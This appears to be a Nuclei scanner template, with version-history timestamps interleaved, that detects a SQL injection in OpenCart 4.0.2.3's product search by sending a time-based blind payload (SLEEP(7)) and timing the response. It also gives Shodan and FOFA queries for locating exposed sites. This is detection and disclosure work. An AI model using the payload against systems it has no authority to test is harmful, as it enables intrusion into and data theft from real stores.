2024-04-02 18:19:28 +00:00
id : opencart-core-sqli
2024-04-16 04:11:13 +00:00
2024-04-02 18:19:28 +00:00
info :
2024-04-16 04:11:13 +00:00
name : OpenCart Core 4.0.2.3 'search' - SQL Injection
2024-04-02 18:19:28 +00:00
author : Kazgangap
severity : high
description : |
Opencart allows SQL Injection via parameter 'search' in /index.php?route=product/search&search=. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
reference :
- https://www.exploit-db.com/exploits/51940
- https://cxsecurity.com/issue/WLB-2024040004
2024-09-10 08:41:12 +00:00
classification :
cpe : cpe:2.3:a:opencart:opencart:*:*:*:*:*:*:*:*
2024-04-16 04:11:13 +00:00
metadata :
max-request : 2
shodan-query : title:"OpenCart"
2024-04-16 06:13:22 +00:00
fofa-query : icon_hash="-1443008128"
2024-09-10 08:22:50 +00:00
product : opencart
vendor : opencart
2024-04-02 18:19:28 +00:00
tags : opencart,sqli
2024-04-16 04:11:13 +00:00
flow : http(1) && http(2)
2024-04-02 18:19:28 +00:00
http :
- method : GET
path :
2024-04-16 04:11:13 +00:00
- "{{BaseURL}}"
matchers :
- type : dsl
dsl :
- 'contains(header, "OCSESSID=")'
- 'contains_any(body, "opencart.com", "OpenCart is open source", "content=\"OpenCart")'
condition : or
internal : true
- raw :
- |
@timeout : 15s
GET /index.php?route=product/search&search=')+AND+(SELECT+8368+FROM+(SELECT(SLEEP(7)))uUDJ)--+Nabb HTTP/1.1
Host : {{Hostname}}
2024-04-02 18:19:28 +00:00
matchers :
- type : dsl
dsl :
2024-04-16 04:11:13 +00:00
- 'duration>=7'
2024-04-16 04:14:24 +00:00
- 'contains(body, "Nabb</title>")'
- 'status_code == 200'
condition : and
2024-09-12 05:14:01 +00:00
# digest: 490a0046304402204675f2ad19e066de8d446e53c09a7202ab821dd16297d946fbfdffa78163cba9022040d1332af16447d8d18132dca44022e4db1165cd465c10d45c37f7f72c3dfd16:922c64590222798bb761d5b6d8e72950